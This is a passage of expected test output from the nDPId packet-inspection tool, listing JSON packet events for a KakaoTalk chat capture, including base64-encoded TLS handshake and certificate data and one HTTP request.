packet","thread_id":0,"packet_id":61,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":62,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":201514,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAAjgbNgNJn8A8KGFK8AbuTvWC6rQyv6iGkYBClZGRQAAABAQEB"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":62,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":63,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":219794,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgcBkAAjwawftJn8A8KGFK8AbuTvWC6rQyv6iJ8UBCkjHZWAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":63,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02102{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":64,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":296057,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABSgcB0AAjwarfdJn8A8KGFK8AbuTvWC6rQyv6iJ8UBCkjCrpAAAWAwEAUQIAAE0DAVU9HybSxelSaq+pzmyJ9iH7XTYBi90VegBpgRmAoaXMIG1yJoOhsfxA3WeIW6NaHJC+xs4pmCDhwQX3Hd61kRPCAC8AAAX\/AQABABYDAQ1cCwANWAANVQAEkzCCBI8wggN3oAMCAQICEHBxAlA9e78ophcAJA6JZewwDQYJKoZIhvcNAQEFBQAwPDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDFRoYXd0ZSwgSW5jLjEWMBQGA1UEAxMNVGhhd3RlIFNTTCBDQTAeFw0xNDA0MTgwMDAwMDBaFw0xNjA0MTcyMzU5NTlaMGUxCzAJBgNVBAYTAktSMRQwEgYDVQQIEwtHeWVvbmdnaS1kbzEUMBIGA1UEBxQLU2VvbmduYW0tc2kxFDASBgNVBAoUC0tha2FvIENvcnAuMRQwEgYDVQQDFAsqLmtha2FvLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMdBgTNDUchcOlqz4AjXSOi\/BcjY+nqEiKfppHMuXJO3yGAFmWhd9O+QBCm8FcKZId9u+XO\/um9F0vmt2qfDKgWEZzJg9B6SDfGolTUXhgk+nFdcE+S86ZtHITX7kSDXzmWcPrT6RJ0PN551hp\/GdJ+xmFbpNL2nv+CJCtbz92qR+yKEPTqSSnlzR89VsAXsBFgk4O0PitPyU2Xtqz+5c\/enf99utZy\/VMz7gvdC\/aVXMBorKXtqwbf1dxYqtxp6htoLhcZBYya6Lxnd54fIw4rshOg27mE5Bn7MAbOHc0PO94q1KalkWJCTnyw3svUS+OZW13LZpEW5Hgu\/jjQaMR8CAwEAAaOCAWIwggFeMBYGA1UdEQQPMA2CCyoua2FrYW8uY29tMAkGA1UdEwQCMAAwQgYDVR0gBDswOTA3BgpghkgBhvhFAQc2MCkwJwYIKwYBBQUHAgEWG2h0dHBzOi8vd3d3LnRoYXd0ZS5jb20vY3BzLzAOBgNVHQ8BAf8EBAMCBaAwHwYDVR0jBBgwFoAUp6KDuzRFQD381TBPErk+oQGf9tswOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL3N2ci1vdi1jcmwudGhhd3RlLmNvbS9UaGF3dGVPVi5jcmwwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGkGCCsGAQUFBwEBBF0wWzAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AudGhhd3RlLmNvbTA1BggrBgEFBQcwAoYpaHR0cDovL3N2ci1vdi1haWEudGhhd3RlLmNvbS9UaGF3dGVPVi5jZXIwDQYJKoZIhvcNAQEFBQADggEBAEvk4yJ5GQZJjDzFLUrMFlBcD5uqP2DKwtFXXOSxaOkky94i9Uhfy7m06\/v4+iOEZVwfFAhpzoTNlly1sPZpMgJyCJ9X4jAYQgiUFyR8fKM\/armugJYR4o3GxrpmZILs6uldpFhtPBRUKSKU0yMcXueyHm\/2X+ml5UR1JeYCWg8gFnncL\/IN7BuZa9Gf6J0+hJSZeIXsEPg15pir43Yi0sJuk7IYfyqYMnMjaGDs7p8Ad+KYYTNX0gD8K9dUkSsuPJJaD9fOM2mjg5ypvUtvrvd6E\/aWowgetkckYpQ9D\/YTqpvJ4IELD8pwbZBD9NSYbX1EPo0PjwPS0vsgCoPcqFkABHAwggRsMA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":64,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":65,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":300360,"pkt_caplen":224,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":224,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAANAcCEAAjwav1NJn8A8KGFK8AbuTvWC6sgyv6iJ8UBikjBF9AACCA1SgAwIBAgIQTV8sNAiyTCDNbVB+JE3J7DANBgkqhkiG9w0BAQUFADCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcmk="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":65,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02098{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":66,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":301276,"pkt_caplen":1336,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1336,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABSgcCUAAjware9Jn8A8KGFK8AbuTvWC6srSv6iJ8UBCkjBhFAAB6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMTAwMjA4MDAwMDAwWhcNMjAwMjA3MjM1OTU5WjA8MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMVGhhd3RlLCBJbmMuMRYwFAYDVQQDEw1UaGF3dGUgU1NMIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmeSFW3ZJfS8F2MWsyMip09yY5tc0pi8M8iIm2KPJFEyPBaRF6BQMWJAFGrfFwQalgK+7HUlrUjSIw1nn72vEJ0GMK2Yd0OCjl5gZNEtB1ZjVxwWtouTX7QytT8G1sCH9PlBTssSQ0NQwZ2ya8Q50xMLciuiX\/8mSrgGKVgqYMrAAI+yQGmDD7bs6yw9jnw1EyVLhJZa\/7VCViX9WFLG3YR0cB4w6LPf\/gN45RdWvGtF42MdxaqMZpzJQIenyDqHGEwNESNFmqFJX1xG0k4vlmZ9d53hR5U32t1m0drUJN00GOBN6HAiYXMRISstSoKn4sZ2Oe3mwIC88lqgRYke7EQIDAQABo4H7MIH4MDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AudGhhd3RlLmNvbTASBgNVHRMBAf8ECDAGAQH\/AgEAMDQGA1UdHwQtMCswKaAnoCWGI2h0dHA6Ly9jcmwudGhhd3RlLmNvbS9UaGF3dGVQQ0EuY3JsMA4GA1UdDwEB\/wQEAwIBBjAoBgNVHREEITAfpB0wGzEZMBcGA1UEAxMQVmVyaVNpZ25NUEtJLTItOTAdBgNVHQ4EFgQUp6KDuzRFQD381TBPErk+oQGf9tswHwYDVR0jBBgwFoAUe1tFz6\/Oy3r9MZIaarbzRutXSFAwDQYJKoZIhvcNAQEFBQADggEBAIAigOBsyJUW11cmh\/NyNNvGclYnPtOW9i4lkaU+M5enS+Uv+yV9Lwdh+m+DdExMU3IgpHrPUVFWgYiwbR82LMgrsYiZwf5Eq0hRfNjyRGQq2HGn+xov+RmNNLIjv8RMVR2OROiqXZrdn\/0Dx7okQ40tR0Tb9tiYyLL52u\/tKVxpEvrRI5YPv5wN8nlFUzeaVi\/oVxBw9u6JDEmJmsEj9cIqzEHPIqtlbreUgm0vQF9Y3uuVK6ZyaFIZkSqudZ1OkubK3lTqGKslPOZkpnkfJn1h7X3S5XFV2JMXfBQ4MDzfhuNMrUnjl1nOG5srztxl1Asoa06ERlFE9zMILViXIa4ABEkwggRFMIIDrqADAgECAhAzZVAIea1z4jC54B0Nf6yRMA0GCSqGSIb3DQEBBQUAMIHOMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xHTAbBgNVBAoTFFRoYXd0ZSBDb25zdWx0aW5nIGNjMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSEwHwYDVQQDExhUaGF3dGUgUHJlbWl1bSBTZXJ2ZXIgQ0ExKDAmBgkqhkiG9w0BCQEWGXByZW1pdW0tc2VydmVyQHRoYXd0ZS5jb20wHhcNMDYxMTE3MDAwMDAwWhcNMjAxMjMwMjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":66,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":67,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":304267,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgrgEAAPwbxBAoYUrzSZ\/APk70Bu6\/qInxgurIMUBBBANTiAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":67,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":68,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":304419,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgrgUAAPwbxAwoYUrzSZ\/APk70Bu6\/qInxgurK0UBBLAMo6AAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":68,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":69,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":304541,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgrgkAAPwbxAgoYUrzSZ\/APk70Bu6\/qInxgure0UBBVALs6AAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":69,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":70,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":336219,"pkt_caplen":848,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":848,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAA0AcCkAAjwatYtJn8A8KGFK8AbuTvWC6t7Sv6iJ8UBikjPhiAAB0aGF3dGUsIEluYy4xKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xODA2BgNVBAsTLyhjKSAyMDA2IHRoYXd0ZSwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQDExZ0aGF3dGUgUHJpbWFyeSBSb290IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArKDw+4BZ1JzHpM+doVlzCRBFDA0sbmjxbFtIaElZN\/wLMxnCd3\/MEC2VNBzm600JpxzSuMmXNgK3idQkXwbAzESUlI0CYm\/rWt0RjSiaXISQEHoNvXRmL2o4oOLVVETrHQefB7pv7un9Tgsp9T6EoAHxnKv4HH6JpOih2HFlDaNRe+680iJgDblbnd+6\/FFbC6+Ysuku6QToYofeK8jXTsFMZB7dz4dYukpPymgHHRydSsbVL5HMfHFyHMXAZ+sy\/cmSXJTahcCbv1N9Kwn0jJ2RH5dqUsveCTakd9h7h1BE1T5uKWn7OUkmHgmlgHtALevoJ4XJ\/mH9fuZ8lx3VnQIDAQABo4HCMIG\/MA8GA1UdEwEB\/wQFMAMBAf8wOwYDVR0gBDQwMjAwBgRVHSAAMCgwJgYIKwYBBQUHAgEWGmh0dHBzOi8vd3d3LnRoYXd0ZS5jb20vY3BzMA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUe1tFz6\/Oy3r9MZIaarbzRutXSFAwQAYDVR0fBDkwNzA1oDOgMYYvaHR0cDovL2NybC50aGF3dGUuY29tL1RoYXd0ZVByZW1pdW1TZXJ2ZXJDQS5jcmwwDQYJKoZIhvcNAQEFBQADgYEAhKhMyT4qvJrizI8LsiV3xGGJiWNa1KMVQNT7Xj+0Q+pjFytrmXSeCajd1FYVLnp5MV9jllMbNNkV6k9tcMq+9oKp7dqFd8x2HGqBCiHYQZl\/Xi6Cweiq95OBBaqStB+3msAHF\/XLxrRMDtdW3HEgdDjWdMbWj2uvi42gbCkLYeAWAwEABA4AAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":70,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":71,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":338782,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgrg0AAPwbxAQoYUrzSZ\/APk70Bu6\/qInxgurrMUBBfAK4iAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":71,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00627{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":72,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":435553,"pkt_caplen":240,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":240,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAODmu0AAPwboiQoYUryt\/GECiq8Bu\/wa79FgIqtGUBg5CCTlAAAWAwEAswEAAK8DAVU9HySXfmPaSP66Sz+6k6Z\/7zxfemNbfoeAqoBY5ktfAABGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":72,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00827{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":73,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":469611,"pkt_caplen":382,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":382,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAW4rhEAAPwbvugoYUrzSZ\/APk70Bu6\/qInxgurrMUBhfAMGpAAAWAwEBBhAAAQIBADHdbtJlVbXP2Me7Ma38p8XS6wSYh+\/vRpK9j6DRf1Em2AM+p7cPSuHY5QUwZ\/vwXG2x7mxyFDwbjTwb2PkmLKI0Ump3aTqTXtuVvVcmhMuWwXk\/DYR4pH2OX1XBOeo\/Pl5TLZglBYU+GsVJLft7PxMPGUXzRakDmG1RVyWwtRalnuwhD\/2Wl\/d1cIBeHJgGzssBXyvaiJaQBQltboVO3gfTXEKif8kN82LDfp7K9ACWYOf4VJAJao0vd3J\/3TvD6jcRgL4U61zLvcOB3Q4flQVIgizBtDjwsIjlNTLEqD0a5DQSjhsPbnCyYELZRdQqR5Xfu5wCvBQnnYeZBa4Y\/EMUAwEAAQEWAwEAMF6qtHnfxQkE14fW7bitUio1+IL\/sCxOok+D\/0MblfYd\/OMJ36oREYUVEOQtHf30uw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":73,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":74,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":480017,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACheakAAjwYhk638YQIKGFK8AbuKr2Aiq0b8GvCJUBCkrBrdAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":74,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":75,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":508795,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADz6+UAAPwaAjQoYUrwfDURUkrEAUI6+8f0AAAAAoAI5CDAyAAACBAV4BAIICgALCwQAAAAAAQMDBw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":75,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":508918,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgcC0AAjwawedJn8A8KGFK8AbuTvWC6usyv6iPCUBCkjGdQAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":76,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":77,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":549536,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACy6BkAA+AYIkB8NRFQKGFK8AFCSsWQ58S+OvvH+YBIRHF3ZAAACBAV4"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":77,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":78,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":552619,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACj6+kAAPwaAoAoYUrwfDURUkrEAUI6+8f5kOfEwUBA5CE1uAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":78,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00412{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":79,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":557074,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEMbkEAAjgYQ+x8NREkKGFK8Abu3n2dAc1oKhoE3UBigBOCLAAAVAwEAFgdiLTjhEFi+7He1g59CCs5hRzaz7rI="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":79,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":80,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":557379,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgOyEAAQAZr3goYUrwfDURJt58BuwqGgTdnQHN1UBBuKMBEAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":80,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":557410,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgbkUAAjgYRFR8NREkKGFK8Abu3n2dAc3UKhoE3UBGgBC\/XAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":81,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00459{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":82,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":557532,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAGMcDEAAjwawPdJn8A8KGFK8AbuTvWC6usyv6iPCUBikjKawAAAUAwEAAQEWAwEAMP2YqIRx81FP6vWf9xoF+Y44tOZ0pKvR4zB1Z+xg1hwMpHGHMU0e4rS5aw\/T1T6okA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":82,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":560370,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgrhUAAPwbw\/woYUrzSZ\/APk70Bu6\/qI8JgursHUBBfAKyhAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":83,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":591071,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgOyUAAQAZr3QoYUrwfDURJt58BuwqGgTdnQHN2UBBuKMBEAAA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":84,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00884{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":85,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":592353,"pkt_caplen":429,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":429,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAZ0rhkAAPwbviQoYUrzSZ\/APk70Bu6\/qI8JgursHUBhfAEb2AAAXAwEBcPx4kuh9JpkjD\/3s+Qf\/N+0Di2p+F4x50E095l77iIWSU32Hj7mkAigfW5w\/3kabtD8BFjyF1ARf5u3Ix8fouRisudwqkpTWpGo91j8kHpj9Yu8QPQvLgqUvGIs97\/RNXdfTKzHec9MwxMwK6P5M0aTkkERrEZw7ZUdjdzeH6fb+sUuM\/mgSs4+cBg\/KouHYhKhCwzW9GMyon7JjQ1VJEh9mBJ3wsLj5tjPq+tXbZH5nobDurAqXI9xmPEen+NVA4WqHzoNB7YEQDY3h48UHjjd1ei8zYN7laaMMLRei9f4QvBMKpBcwn0CLxFbRRTRq2pL1CEofgauP3Ycj\/MK5Li4XbJzYcpLQz+TqJgHdp3+nncwfjgPtHdmql5j8xvmXXEyfcJAHVc59g5LFKiUXCqduTVbKTnDu9JvXjUgIggqyuLWb7E8OmyR7C1ohJuX4lqBBrKy1p2\/Et5L0LymlH88lQQAJIcStYS7hyD6Whrvr"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":85,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00627{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":86,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":600501,"pkt_caplen":243,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":243,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAOP6+0AAPwZ\/5AoYUrwfDURUkrEAUI6+8f5kOfEwUBg5CLGLAABHRVQgL21vYmlsZS9zdGF0dXMucGhwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBEYWx2aWsvMS42LjAgKExpbnV4OyBVOyBBbmRyb2lkIDQuNC40OyBNSSAzVyBNSVVJL1Y2LjQuMy4wLktYRE1JQ0IpDQpIb3N0OiB3d3cuZmFjZWJvb2suY29tDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANCg0K"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":86,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} 